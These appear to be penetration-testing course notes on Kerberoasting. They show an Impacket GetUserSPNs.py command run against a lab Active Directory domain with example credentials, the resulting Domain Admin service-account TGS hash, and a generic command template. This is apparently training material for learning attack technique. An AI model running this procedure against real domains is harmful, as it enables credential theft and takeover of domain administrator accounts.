

05 - Kerberoasting Overview

This is a popular attack, and a very quick way to get Domain Admin in a Network.



This attack takes advantages of service accounts. SPN > Service Principal Name.

The image illustrates what happens when we want to go out and request access to a service.

If we have credentials to the domain of any kind, we can request this TGT from the Domain.



```
root@kali:/opt/impacket/examples# python GetUserSPNs.py MARVEL.local/fcastle:Password1 -dc-ip 10.0.3.4 -request
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

ServicePrincipalName      Name      MemberOf
      PasswordLastSet      LastLogon
-----
HYDRA-DC/SVC_SQLService.MARVEL.local:60111 SVC_SQLService CN=Domain Admins,OU=Groups,DC=MARVEL,DC=local 2019-07-24 12:02:02 <never>

$krb5tgs$23*$SVC_SQLService$MARVEL.LOCAL$HYDRA-DC/SVC_SQLService.MARVEL.local~60111*$7cba83b1f1eaba727a54cc730d9cb58d$882768a5ba63cc262c946e0feecd4e840186cbd6ed0d155e1dae7e3cc0335ef4864668382f89e55d197018f63e8e1ef679e32071d3ba807d7cc755e2df531f900419c777619e56025cfd331b55a21e815692e715a4828a191aee2b27e38c314b25b545c546a089bb35cce58614c76d5f8b827dc51cfd62221477336d232210213c0212c7cac4f3d3ebfc3d898512ccaf4bf3fd448fda8af2208691e9dc7490d8b93e5c373ebeld4c2255ccc888250962aa66c5ecf434d8ef7994790b886da7092442fada9e10330ae3539d3869abdf7969554a23299b491cdb1df11eee586828837df60aae216532312369690860a5cea588baafa6cf7fa7ec8aa64a563d5ee33822abdc6768794d0ed75c3fd49bd35801ee351b9af4305f678d3c85be00fae87bedd215830f21f8b21538545777dfba685fff563
```

Kerberoasting

Step 1: Get SPNs, Dump Hash

`python GetUserSPNs.py <DOMAIN/username:password> -dc-ip <ip of DC> -request`